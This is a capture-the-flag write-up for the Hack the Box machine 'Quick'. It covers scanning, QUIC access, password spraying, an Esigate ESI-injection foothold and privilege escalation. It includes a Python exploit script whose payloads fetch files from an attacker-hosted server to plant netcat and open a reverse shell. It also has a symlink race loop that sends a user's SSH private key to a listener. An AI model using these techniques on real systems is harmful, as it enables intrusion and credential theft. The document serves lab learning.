Short description to include any strange things to be dealt with
Useful Skills and Tools
Connecting to HTTPS through UDP (QUIC protocol)
quiche [link]
experimental curl features [link]
can also change settings in-browser experimental settings [link]
Upgrading a limited shell to a full TTY
Determine the installed version of python with which python.
Spawn a Bash shell through python's PTY with python -c 'import pty;pty.spawn("/bin/bash")'.
Hit CTRL+Z to background the shell.
Type stty raw -echo to enable all input to be sent raw through your reverse shell.
Type fg to return your shell to the foreground.
Enable screen clearing and colors with export TERM=xterm-256color
Creating an SSH tunnel for port forwarding
-L flag
link
example
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.186. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the output with a filename of <name>.
zweilos@kalimaa:~$ nmap -p- -sC -sV -oN quick.nmap 10.10.10.186
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-10 14:35 EDT
Nmap scan report for 10.10.10.186
Host is up (0.055s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
| 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_ 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.16 seconds
Based on my Nmap scan of TCP ports, there were only two open: SSH on the default port 22 and an Apache website being served over HTTP on the non-standard port 9001.
I opened a browser to see that was hosted on HTTP, and got a website which appeared to belong to a business selling broadband internet.
There was also a list of currently subscribed clients at /clients.php.
The main site says "Upto 17MBps - £18 | Upto 50MBps - £27" and because the price is in pounds it indicates that this might be a UK service provider. Correlating the countries of the clients, the company names, and the names on the Testimonials section gave me a potential list of users. I also noted that only two clients (Tim from Qconsulting and Elisa from Wink) were from the UK and rated them as higher priority targets for potential access.
Tim (Qconsulting Pvt Ltd) - UK
Roy (DarkWng Solutions) - US
Elisa (Wink Media) - UK
James (LazyCoop Pvt Ltd) - China
My shortlist of potential usernames had four entries on it.
Clicking on the "Get Started" link led to a login page at http://10.10.10.186:9001/login.php. I attempted to see if any of these names would give me a positive error indicating a valid username, but the form required email addresses rather than usernames so it yielded nothing.
According to my dirbuster scan there was an exposed db.php, though I was not sure how to interact with it. Navigating to that site only brought up a blank page.
On the main page, there was a link to portal.quick.htb, which I added to my hosts file. It seemed to be an exact copy of the first page, except for the link that led to portal.quick.htb was an HTTPS site that did not connect.
I did notice something interesting while viewing the requests in Burp though: there was an HTTP header that said X-Powered-By: Esigate. Some research revealed that this was a webapp integration backend for the site. My research also found that there were some vulnerabilities that could be exploited in this software, though they required an exposed form where specifically crafted requests could bypass security controls. Unfortunately I didn't have anywhere to test for this vulnerability yet. http://www.esigate.org/security/security-01.htmlhttps://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
I also noted that the apache server-status page was accessible, which could lead to a serious data disclosure vulnerability. I found some exploit code to take advantage of this at https://github.com/mazen160/server-status_PWN, but this site didn't seem to have any data exposed that could help me.
Nmap redux
Unfortunately this next part was spoiled for me a bit by someone mentioning that TCP was the only protocol that Nmap scanned by default and further enumeration was required. This was enough of a clue for my to try a UDP scan to see if there were any more ports open.
UDP scans take much, much longer to complete due to the way enumeration has to be done. Potential open UDP ports are determined by not receiving a response back from a probe, as opposed to TCP where a TCP - ACK is generally indicative of an open port, and a RST means the port is closed. UDP does not use flags in the same way as TCP, and relies on ICMP port unreachable messages to relay closed ports.
I recommend not scanning all 65536 ports at a time if you ever need to scan UDP, and do it in chunks. This scan also requires root privileges to run.
root@kali:/home/zweilos/htb/quick# nmap --reason -sU -Pn -A -p1-1000 -oN quick.nmap-udp 10.10.10.186
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-10 18:51 EDT
Nmap scan report for quick.htb (10.10.10.186)
Host is up, received user-set (0.052s latency).
Scanned at 2020-08-10 18:51:59 EDT for 1348s
Not shown: 999 closed ports
Reason: 999 port-unreaches
PORT STATE SERVICE REASON VERSION
443/udp open|filtered https no-response
Too many fingerprints match this host to give specific OS details
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=8/10%OT=%CT=%CU=1%PV=Y%DS=2%DC=T%G=N%TM=5F31D4D3%P=x86_64-pc-linux-gnu)
SEQ(CI=Z%II=I)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
TRACEROUTE (using port 979/udp)
HOP RTT ADDRESS
1 76.04 ms 10.10.14.1
2 76.30 ms quick.htb (10.10.10.186)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1348.02 seconds
Raw packets sent: 1444 (43.230KB) | Rcvd: 1157 (70.616KB)
There was one UDP port that seemed to be open. Next I did some research on HTTPS over UDP port 443 and found some articles on the new protocol HTTP/3. I remember reading about the new HTTPS protocol over UDP which used a protocol called QUIC, but I didn't expect it to already by implemented in a Hack the Box challenge (kudos to MrR3boot!).
The QUIC protocol is used in HTTP/3 and utilizes UDP for a fast connectionless "session". Since most websites are simple requests and responses, UDP works fine, because the extra overhead from TCP just slows everything down. Supposedly QUIC will be much faster (pun intended?).
This explains why the portal.quick.htb site had a link to an https:// site that didn't work, since the browser expects TCP:443, and most browsers do not currently support the new protocol which uses UDP. I did some looking around to see if any browsers did have support, and found https://caniuse.com/#feat=http3. It seems that some browers such as Google Chrome (or Chromium) can enable quic in the experimental settings page at chrome://flags. https://docs.google.com/document/d/1lmL9EF6qKrk7gbazY8bIdvq3Pno2Xj_l_YShP40GLQE/edit#
The /about page contained three potential users and useful email addresses: Jane Doe jane@quick.htb, Mike Ross mike@quick.htb, and John Doe john@quick.htb.
The /docs page contained references to two PDF files. I downloaded them to see if I could find more juicy information.
zweilos@kali:~/htb/quick$ curl3 --http3 https://portal.quick.htb/docs/QuickStart.pdf --output quickstart.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 228k 100 228k 0 0 668k 0 --:--:-- --:--:-- --:--:-- 666k
zweilos@kalimaa:~/htb/quick$ curl3 --http3 https://portal.quick.htb/docs/Connectivity.pdf --output connectivity.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 83830 100 83830 0 0 258k 0 --:--:-- --:--:-- --:--:-- 257k
Both PDFs downloaded with no issues using the new cURL tool. The document Connectivity.pdf contained some interesting information!
Apparently this broadband provider gives their customers a default password to use to log into their accounts. I hoped that one of the clients was lazy enough to use the same password to log into the portal, and then not change it later.
The file Connectivity.pdf also had a link that led back to the first site: http://quick.htb, while the other document linked back to the HTTPS version. I thought that maybe this was a clue to log into the first site.
It took a little bit of guesswork to figure out how to log into the site since I couldn't see any clues that pointed to any email addresses other than the three @quick.htb ones. I first tried iterating through all of the names I had found while adding @quick.htb on the the end, but that wasn't successful. Next I decided that since they provided the company names and countries for each of the users, I could make potential email addresses out of those.
zweilos@kali:~/htb/quick$ wfuzz -w users -c -X POST -u 'http://quick.htb:9001/login.php' -d 'email=FUZZ&password=Quick4cc3$$'
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://quick.htb:9001/login.php
Total requests: 7
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000003: 200 0 L 2 W 80 Ch "james@lazycoop.co.cn"
000000001: 200 0 L 2 W 80 Ch "tim@Qconsulting.co.uk"
000000002: 302 0 L 0 W 0 Ch "elisa@wink.co.uk"
000000004: 200 0 L 2 W 80 Ch "roy@DarkWng.com"
000000005: 200 0 L 2 W 80 Ch "jane@quick.htb"
000000006: 200 0 L 2 W 80 Ch "mike@quick.htb"
000000007: 200 0 L 2 W 80 Ch "john@quick.htb"
Total time: 0.105150
Processed Requests: 7
Filtered Requests: 0
Requests/sec.: 66.57097
I loaded my potential email address list into wfuzz and used it to username-spray the website. My hunch seemed to be right! That 302 HTTP response above meant I had found a successful login for elisa@wink.co.uk! I'm actually surprised there was only one user that used the default password provided to log in! :P
POST /login.php HTTP/1.1Host:quick.htb:9001User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://quick.htb:9001/login.phpContent-Type:application/x-www-form-urlencodedContent-Length:49Connection:closeCookie:PHPSESSID=nl56u8c71du29c6v8rafi3h23kUpgrade-Insecure-Requests:1DNT:1email=elisa%40wink.co.uk&password=Quick4cc3%24%24
I made sure to capture the login credentials in Burp so I could easily resend them any time I needed.
Initial Foothold
Now that I was logged into the portal, I had access to the /home, /ticket, and /search pages I had seen in my dirbuster output earlier.
The ticketing page had an entry field that gave me a ticket number when I submitted it.
I followed the instructions in the blog and crafted an XSL file, which contained specially formed XML code that would be read and executed by Esigate when reflected into an XML file.
I submitted the above code into the ticketing system, which caused Esigate to load the evil.xml file with my code from the evil.xsl code reflected into it as a "stylesheet".
After some testing I found that the vulnerability indeed existed in the ticket search function! After submitting my "ticket" to the system searching for the ticket number caused the code in the malicious XML file to be read and executed by Esigate.
After quite a bit of head-scratching and testing, I found that I could only use a specific filename once. After that it caused a 404 error for even files that definitely exist on my locally hosted python server. I wasn't sure what was going on but it must have been something the server was doing.
zweilos@kali:~/htb/quick$ nc -lvnp 13371 > passwd
listening on [any] 13371 ...
connect to [10.10.15.57] from (UNKNOWN) [10.10.10.186] 43030
During some of my testing, I tried to get the server to send me /etc/passwd, but unfortunately the file was blank. After testing it again a different way, I concluded that this command was being blocked so nothing was being sent. The important thing was that I could see that my test exploit worked.
Next I created a python script to automate the file upload and ticket search activation process.
#!/usr/bin/env python3#coding: utf8#Created by zweilosec (WolfZweiler) for CVE-2018-1000854 (as exposed in HTB - quick)import requestsfrom bs4 import BeautifulSoupimport timeimport syslogin_url ="http://quick.htb:9001/login.php"login_data ='email=elisa@wink.co.uk&password=Quick4cc3$$'login_headers ={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Cookie':'PHPSESSID=03u65s156tk17dfddsi28m7rld','Referer':'http://quick.htb:9001/login.php','Content-Type':'application/x-www-form-urlencoded','Host':'quick.htb:9001'}#TODO: Get headers from an initial GET request so have accurate PHPSESSID (not hard-coded)ticket_url ="http://quick.htb:9001/ticket.php"ticket_headers ={'Host':'quick.htb:9001','User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Referer':'http://quick.htb:9001/ticket.php','Content-Type':'application/x-www-form-urlencoded','Cookie':'PHPSESSID=03u65s156tk17dfddsi28m7rld'}esi1 = 'title=evil&msg="<esi:include src="http://10.10.15.10:1337/evil.xml" stylesheet="http://10.10.15.10:1337/evil.xsl"></esi:include>"&id=TKT-1234'
esi2 = 'title=evil1&msg="<esi:include src="http://10.10.15.10:1337/evil1.xml" stylesheet="http://10.10.15.10:1337/evil1.xsl"></esi:include>"&id=TKT-2345'
esi3 = 'title=evil2&msg="<esi:include src="http://10.10.15.10:1337/evil2.xml" stylesheet="http://10.10.15.10:1337/evil2.xsl"></esi:include>"&id=TKT-3456'
ticGet1_url ='http://quick.htb:9001/search.php?search=1234'ticGet2_url ='http://quick.htb:9001/search.php?search=2345'ticGet3_url ='http://quick.htb:9001/search.php?search=3456'ticGet_headers ={'Host':'quick.htb:9001','User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0','Accept':'*/*','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Referer':'http://quick.htb:9001/home.php','X-Requested-With':'XMLHttpRequest','Connection':'close','Cookie':'PHPSESSID=03u65s156tk17dfddsi28m7rld','DNT':'1'}esi1_r, esi2_r, esi3_r =None,None,Nonelogin_r = requests.post(login_url, headers = login_headers, data = login_data)#login_r.status_code should be == 302, however this login request is not working correctly#need to further troubleshoot; for now bypassed by logging in with burpif login_r.status_code ==200:print("Login successful!\n") esi1_r = requests.post(ticket_url, headers = ticket_headers, data = esi1) time.sleep(1) ticGet1_r = requests.get(ticGet1_url, headers = ticGet_headers) time.sleep(1)else:print("The request failed with status code: "+str(login_r.status_code))print("Did not login successfully :(\n")print("Dumping response text:\n\n")print(login_r.text) sys.exit()if esi1_r.status_code ==200:print("Evil1 upload successful!\n") esi2_r = requests.post(ticket_url, headers = ticket_headers, data = esi2) time.sleep(1) ticGet2_r = requests.get(ticGet2_url, headers = ticGet_headers) time.sleep(1)else:print("The request failed with status code: "+str(esi1_r.status_code))print("Did not upload evil1 successfully :(\n") sys.exit()if esi2_r.status_code ==200:print("Evil2 upload successful!\n") esi3_r = requests.post(ticket_url, headers = ticket_headers, data = esi3) time.sleep(1) ticGet3_r = requests.get(ticGet3_url, headers = ticGet_headers)else:print("The request failed with status code: "+str(esi2_r.status_code))print("Did not upload evil2 successfully :(\n") sys.exit()if esi3_r.status_code ==200:print("Evil3 upload successful!\n")print("Check your nc listener...shell should be inbound!\n")else:print("The request failed with status code: "+str(esi3_r.status_code))print("Did not upload evil3 successfully :(\n")#TODO: generalize urls and other data to be used other than in HTB; perhaps take as input arguments URL, PORT, USER, PASS, Commands to be run (foreach type loop)...
#TODO: exception handling#TODO: instead of separate SimpleHTTPServer hosting different files, do in-script#TODO: instead of nc listener in terminal, implement in-script
I ran the script with three separate ESL files. Each were loaded with commands that would enable me to get a reverse shell. The first send a version of nc that had the ability to execute commands upon connection. The second ran chmod +x nc to ensure it was executable. The third contained my reverse shell command that would connect back to my machine. I loaded up all of my files with different filenames, executed my script, and crossed my fingers hoping that everything would work.
The first thing I do after gaining an account on a machine is to find out what kind of privileges are available by using sudo -l. Unfortunately there was nothing I could run without the password.
sam@quick:~/esigate-distribution-5.2$ ls -la
total 20
drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 .
drwxr-xr-x 6 sam sam 4096 Aug 15 16:44 ..
drwxr-xr-x 3 sam sam 4096 Aug 15 16:41 apps
drwxr-xr-x 2 sam sam 4096 Oct 11 2017 lib
drwxr-xr-x 18 sam sam 4096 Oct 11 2017 src
sam@quick:~/esigate-distribution-5.2$ ls -la apps/
total 9492
drwxr-xr-x 3 sam sam 4096 Aug 15 15:33 .
drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 ..
-rw-r--r-- 1 sam sam 63 Mar 20 03:01 esigate.properties
-rw-r--r-- 1 sam sam 6700842 Oct 11 2017 esigate-server.jar
-rw-r--r-- 1 sam sam 3000503 Oct 11 2017 esigate-war.war
drwxrwxr-x 3 sam sam 4096 Aug 15 15:33 work
sam@quick:~/esigate-distribution-5.2$ ls -la lib/
total 2792
drwxr-xr-x 2 sam sam 4096 Oct 11 2017 .
drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 ..
-rw-r--r-- 1 sam sam 263965 Mar 10 2016 commons-codec-1.9.jar
-rw-r--r-- 1 sam sam 159509 Mar 11 2011 commons-io-2.0.1.jar
-rw-r--r-- 1 sam sam 412739 Jan 19 2016 commons-lang3-3.3.2.jar
-rw-r--r-- 1 sam sam 4981 Oct 11 2017 esigate-cas-5.2.jar
-rw-r--r-- 1 sam sam 314645 Oct 11 2017 esigate-core-5.2.jar
-rw-r--r-- 1 sam sam 24225 Oct 11 2017 esigate-servlet-5.2.jar
-rw-r--r-- 1 sam sam 295791 Oct 20 2012 htmlparser-1.4.jar
-rw-r--r-- 1 sam sam 736658 May 18 2016 httpclient-4.5.2.jar
-rw-r--r-- 1 sam sam 158984 May 18 2016 httpclient-cache-4.5.2.jar
-rw-r--r-- 1 sam sam 326724 May 18 2016 httpcore-4.4.4.jar
-rw-r--r-- 1 sam sam 16519 Sep 25 2014 jcl-over-slf4j-1.7.7.jar
-rw-r--r-- 1 sam sam 85448 Apr 24 2014 metrics-core-3.0.2.jar
-rw-r--r-- 1 sam sam 29257 Sep 11 2015 slf4j-api-1.7.7.jar
sam@quick:~/esigate-distribution-5.2$ ls -la src/
total 72
drwxr-xr-x 18 sam sam 4096 Oct 11 2017 .
drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 ..
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-aggregated1
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-aggregated2
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-aggregator
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-cas
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-casified-aggregated1
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-casified-aggregated2
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-casified-aggregator
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-master
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-app-provider
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-cas
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-core
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-distribution
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-server
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-servlet
drwxr-xr-x 3 sam sam 4096 Oct 11 2017 esigate-war
I started looking though all of the Esigate files since that was what got me in, but there wasn't anything useful there.
I printed out /etc/passwd to see what users and services were available, and found three users with login capability: root, sam, and srvadm.
sam@quick:~/esigate-distribution-5.2$ netstat -tulvnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:32985 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::9001 :::* LISTEN 926/java
tcp6 0 0 127.0.0.1:8081 :::* LISTEN 926/java
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp6 0 0 :::443 :::* -
sam@quick:~/esigate-distribution-5.2$ nc 127.0.0.1 8081
whoami
HTTP/1.1 400 No URI
Content-Length: 0
Connection: close
Server: Jetty(9.1.z-SNAPSHOT)
There were quite a few processes running related to containers...in fact, it looked like the UDP 443 port I connected to was running from a container. There was even an interface visible in ifconfig.
I tried connecting to the docker container on that IP, but was rebuffed since I had no credentials.
Next I started looking through the website files in /var/www to see if there were any credentials left around, and found the email address srvadm@quick.htb in the index.php file. This file also mentioned db.php which sounded like it might contain useful information.
I was not disappointed. I now had credentials to a MySQL database which I had seen running on port 3306 earlier.
In the folder /var/www/ I found a writeable folder jobs that was owned by root. This is always a good indication of a privilege escalation route. In /var/www/printers I also found the file job.php which looked promising.
This looked to me like I could make a file in the /jobs folder (where I was able to write), write to the file my IP and port, then the jobs.php will make a connection to my computer thinking it is trying to print. The only catch is that whoever triggers the print needs to be logged in. I felt that I needed to check the database to check for further credentials.
sam@quick:/var/www/html$ mysql -u db_adm -p quickEnter password: Reading table information for completion of tableand column namesYou can turn off this feature toget a quicker startup with-AWelcome to the MySQL monitor. Commands endwith ; or \g.Your MySQL connection id is71Serverversion: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type'help;'or'\h'for help. Type'\c'toclear the current input statement.mysql> show tables;+-----------------+| Tables_in_quick |+-----------------+| jobs || tickets || users |+-----------------+3rowsinset (0.00 sec)mysql>select*from users;+--------------+------------------+----------------------------------+| name | email | password |+--------------+------------------+----------------------------------+| Elisa | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d || ServerAdmin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |+--------------+------------------+----------------------------------+2rowsinset (0.00 sec)
I found the users table which potentially had new creds in it, but I wasn't sure what type of hash or encryption had been used on it.
mysql> select * from tickets;
+----------+-----------+------------------------------------------------------------------------------------------------------------------------+--------+
| id | title | description | status |
+----------+-----------+------------------------------------------------------------------------------------------------------------------------+--------+
| TKT-4178 | ping test | "<esi:include src="http://10.10.15.57:9088/evil98.xml" stylesheet="http://10.10.15.57:9088/evil98.xsl"></esi:include>" | open |
| TKT-4567 | evil | "<esi:include src="http://10.10.15.57:9088/evil.xml" stylesheet="http://10.10.15.57:9088/evil.xsl"></esi:include>" | open |
| TKT-0987 | evil | "<esi:include src="http://10.10.15.57:9088/evil.xml" stylesheet="http://10.10.15.57:9088/evil.xsl"></esi:include>" | open |
| TKT-9876 | evil1 | "<esi:include src="http://10.10.15.57:9088/evil1.xml" stylesheet="http://10.10.15.57:9088/evil1.xsl"></esi:include>" | open |
| TKT-8765 | evil2 | "<esi:include src="http://10.10.15.57:9088/evil2.xml" stylesheet="http://10.10.15.57:9088/evil2.xsl"></esi:include>" | open |
+----------+-----------+------------------------------------------------------------------------------------------------------------------------+--------+
9 rows in set (0.00 sec)
I also found a list of the tickets that I submitted earlier...the lazy admin still hadn't gotten around to helping me with my issues!
for the password "hash" I found, the login.php contained this line which explained it:
Some examples are below for common interfaces.
Communicate with a printer with an Ethernet interface using netcat:
php hello-world.php | nc 10.x.x.x. 9100
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 127.0.0.1:80
While poking around in the /etc/apache2 directory I noticed the ports.conf file referenced a listener on port 80. Since this was not exposed outside the box, this must be an internal page only. The file said to check /etc/apache2/sites-enabled/000-default.conf for virtual hosts, so I did.
Here was the information I was looking for! There was a virtual host on port 80 at printerv2.quick.htb running under user srvadm. This may allow me exploit that jobs folder I had found in /var/www/html.
I added the page to my /etc/hosts file, but I was still blocked from accessing the page since it was on port 80 (which was still not open to the world).
sam@quick:/etc/apache2$ curl http://printerv2.quick.htb
curl: (6) Could not resolve host: printerv2.quick.htb
Apparently this domain name was not in the quick.htb machine's hosts file, so I used the IP and port to try to connect instead.
sam@quick:/etc/apache2$ curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Quick | Broadband Services</title>
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css'>
<style>
...CSS snipped...
</style>
<script>
window.console = window.console || function(t) {};
</script>
<script>
if (document.location.search.match(/type=embed/gi)) {
window.parent.postMessage("resize", "*");
}
</script>
</head>
<body translate="no">
<section class="cover">
<nav>
<span class="logo">
Quick
</span>
<ul>
<li>About</li>
<li>Contact</li>
</ul>
</nav>
<div class="content">
<h2 class="heading">New Broadband Services in JetSpeed<br />for all your Need.</h2>
<p>Upto 17MBps - £18 | Upto 50MBps - £27</p>
<div class="cta-btn">
<a href="/login.php">Get Started</a>
</div>
<p class="highlight">30 day trial | No Bandwidth limit</p>
<div class="card">
<h2>Update!</h2>
<p>We are migrating our portal with latest TLS and HTTP support. To read more about our services, please navigate to our <a href="https://portal.quick.htb">portal</a><br />
<br />You might experience some connectivity issues during portal access which we are aware of and working on designing client application to provide better experience for our users. Till then you can avail our services from Mobile App</p>
</div>
</div>
</section>
<center>
<br />
<table border="0" width="50%"><tr><th style="font-size:180%;" colspan="2">Testimonals!<br /><br /></th></tr>
<tr><td><br />Super fast services by Quick Broadband Services. I love their service.</td><td> --By Tim (Qconsulting Pvt Ltd)</td></tr>
<tr><td><br />Quick support and eligant chat response.</td><td> --By Roy (DarkWng Solutions)</td></tr>
<tr><td><br />I never regret using Quick services. Super fast wifi and no issues.</td><td> --By Elisa (Wink Media)</td></tr>
<tr><td><br />Very good delivery and support all these years.</td><td> --By James (LazyCoop Pvt Ltd)</td></tr></table>
<center><br /><br />Check our <a href="/clients.php">clients</a>
</body>
</html>
This page looks exactly the same as the virtual hosted page http://portal.quick.htb. However, since I needed to specify the virtual host's domain name to connect, this was expected. If I could edit the local hosts file, I would be fine, but since I couldn't, I would have to connect from my machine.
I decided to try to create an authorized_keys folder for sam and see if I could use ssh port redirection to allow me to use my browser to navigate the printer page.
SSH worked, after that it I set up my port redirection tunnel. The -L option allows you to forward a local port to a port on the remote machine with the syntax: -L local_socket:host:hostport.
zweilos@kali:~/htb/quick$ ssh -L 40905:10.10.10.186:80 sam@quick.htb
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Aug 16 18:31:26 UTC 2020
System load: 0.06 Users logged in: 1
Usage of /: 30.1% of 19.56GB IP address for ens33: 10.10.10.186
Memory usage: 23% IP address for br-9ef1bb2e82cd: 172.18.0.1
Swap usage: 0% IP address for docker0: 172.17.0.1
Processes: 130
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
54 packages can be updated.
28 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Aug 16 18:30:27 2020 from 10.10.15.57
sam@quick:~$
This led me to a login page. Since I knew that the page was running as srvadm, I figured the credentials must be the ones I had found for that user in the MySQL database earlier. http://pentestmonkey.net/tools/web-shells/php-reverse-shell
Getting a shell
zweilos@kali:~/htb/quick$ nc -lvnp 9100
listening on [any] 9100 ...
connect to [10.10.15.57] from (UNKNOWN) [10.10.10.186] 33998
zweilos@kali:~/htb/quick$ nc -lvnp 9100
listening on [any] 9100 ...
connect to [10.10.15.57] from (UNKNOWN) [10.10.10.186] 34158
This is a testVA
As soon as I clicked the print button I got a connection, but when went to the jobs page it closed. I reopened the listener, and sent myself a test message, which appeared in my nc listener, then the connection ended again. It looked like I was not going to be able to send a shell through this, but would have to send data that srvadm could access.
sam@quick:/home/srvadm$ ls -la
total 44
drwxr-xr-x 7 srvadm srvadm 4096 Aug 16 13:03 .
drwxr-xr-x 4 root root 4096 Mar 20 02:16 ..
lrwxrwxrwx 1 srvadm srvadm 9 Mar 20 02:38 .bash_history -> /dev/null
-rw-r--r-- 1 srvadm srvadm 220 Mar 20 02:16 .bash_logout
-rw-r--r-- 1 srvadm srvadm 3771 Mar 20 02:16 .bashrc
drwx------ 5 srvadm srvadm 4096 Mar 20 06:20 .cache
drwxr-x--- 3 srvadm srvadm 4096 Aug 16 11:58 .config
drwx------ 4 srvadm srvadm 4096 Aug 16 12:07 .gnupg
-rw------- 1 srvadm srvadm 34 Aug 16 13:03 .lesshst
drwxrwxr-x 3 srvadm srvadm 4096 Mar 20 06:37 .local
-rw-r--r-- 1 srvadm srvadm 807 Mar 20 02:16 .profile
drwx------ 2 srvadm srvadm 4096 Mar 20 02:38 .ssh
this user did have a .ssh folder, so I hoped that he had an id_rsa key that I could try to steal. I searched for files that srvadm had access to but there wasn't anything else that looked useful.
I looked back at the code of the jobs page to see exactly what it was doing. It looked like it was creating a file with a name derived from the php date("Y-m-d_H:i:s") funtion, then writing to the file the contents of the 'Bill Details' field from the 'Print Jobs' page. After that it sends the file to the IP and port specified in the 'Bill & Receipt Printer' field.
So...now I had to try to figure how to trick this into printing the SSH key of srvadm. The only way I could think to do it was to create a link to the key file, replacing the file the print job expected (we are able to do this since job.php sets the file permissions to 0777) before it sends it to the "printer". I would have to be ...quick. https://stackoverflow.com/questions/12198844/replace-a-whole-file-with-another-file-in-bash
#!/bin/bash
while :
do
for job in $(ls -1 /var/www/jobs)
do
cat /dev/shm/printer > /var/www/jobs/$job;
done
done
So that didn't work...probably because I don't have read permissions of the file. This does tell me, however, that the file exists and that I am on the right track!
#!/bin/bash
while :
do
for job in $(ls -1 /var/www/jobs)
do
echo "The filename is $job"
filename=$job
rm -f /var/www/jobs/$job;
ln -sf /home/srvadm/.ssh/id_rsa /var/www/jobs/$filename;
done
done
This time, instead of trying to put the contents of the SSH key in the print file, I swapped the print file with a symlink to the key. This way when the file is sent to my waiting "printer" (nc listener), it would send the SSH key using the permissions of srvadm.
